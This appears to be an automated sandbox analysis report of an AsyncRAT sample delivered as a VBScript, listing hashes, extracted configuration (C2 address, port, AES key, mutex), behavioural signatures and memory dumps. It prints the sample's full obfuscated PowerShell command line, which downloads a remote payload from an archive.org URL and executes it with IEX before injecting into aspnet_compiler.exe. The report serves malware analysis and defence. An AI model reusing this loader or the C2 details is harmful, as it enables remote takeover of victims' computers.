asyncrat | 15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fc1

General

Target

15.vbs
Size

1KB
MD5

3e46e05d321065ab67c8b5d588ffe418
SHA1

16bbaae13819f996be9f81794df7c9f33ade9b7d
SHA256

15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fc1
SHA512

c40d1599d412c9f0fdf8ec5e32916bd1ad3b25f189a61822a602bb675f664fcb683f52efc43e48ded468f79ccea77bca860b63375554ebae99cfffba211e1d59

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601405.us.archive.org/30/items/all-2542/ALL_2542.txt

Extracted

Family

asyncrat

Version

0.5.7B

C2

185.19.85.168:8888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
iaCQxXrg9VcwzLPunOt4DDhIibhcZSWL
anti_detection
false
autorun
false
bdos
false
delay
Default
host
185.19.85.168
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
8888
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/856-71-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/856-72-0x000000000040C71E-mapping.dmp	asyncrat
behavioral1/memory/856-73-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

7 1164 powershell.exe
9 1164 powershell.exe
11 1164 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1164 set thread context of 856 1164 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1164 powershell.exe
1164 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1164 powershell.exe

flow	pid	process
7	1164	powershell.exe
9	1164	powershell.exe
11	1164	powershell.exe

description	pid	process	target process
PID 1164 set thread context of 856	1164	powershell.exe	aspnet_compiler.exe

pid	process
1164	powershell.exe
1164	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1164	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1664 wrote to memory of 1164	1664	WScript.exe	powershell.exe
PID 1664 wrote to memory of 1164	1664	WScript.exe	powershell.exe
PID 1664 wrote to memory of 1164	1664	WScript.exe	powershell.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe
PID 1164 wrote to memory of 856	1164	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\15.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601405.us.archive.org/30/items/all-2542/ALL_2542.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFDGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('DGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1164

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
PID:856

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/856-71-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/856-76-0x0000000000B00000-0x0000000000B01000-memory.dmp

Filesize
4KB

Download
memory/856-75-0x00000000753B1000-0x00000000753B3000-memory.dmp

Filesize
8KB

Download
memory/856-73-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/856-72-0x000000000040C71E-mapping.dmp

Download
memory/1164-64-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1164-66-0x000000001AB24000-0x000000001AB26000-memory.dmp

Filesize
8KB

Download
memory/1164-67-0x0000000002020000-0x0000000002021000-memory.dmp

Filesize
4KB

Download
memory/1164-68-0x000000001C120000-0x000000001C121000-memory.dmp

Filesize
4KB

Download
memory/1164-69-0x000000001B510000-0x000000001B511000-memory.dmp

Filesize
4KB

Download
memory/1164-70-0x00000000027F0000-0x00000000027FE000-memory.dmp

Filesize
56KB

Download
memory/1164-65-0x000000001AB20000-0x000000001AB22000-memory.dmp

Filesize
8KB

Download
memory/1164-63-0x000000001ABA0000-0x000000001ABA1000-memory.dmp

Filesize
4KB

Download
memory/1164-62-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/1164-60-0x0000000000000000-mapping.dmp

Download
memory/1664-59-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads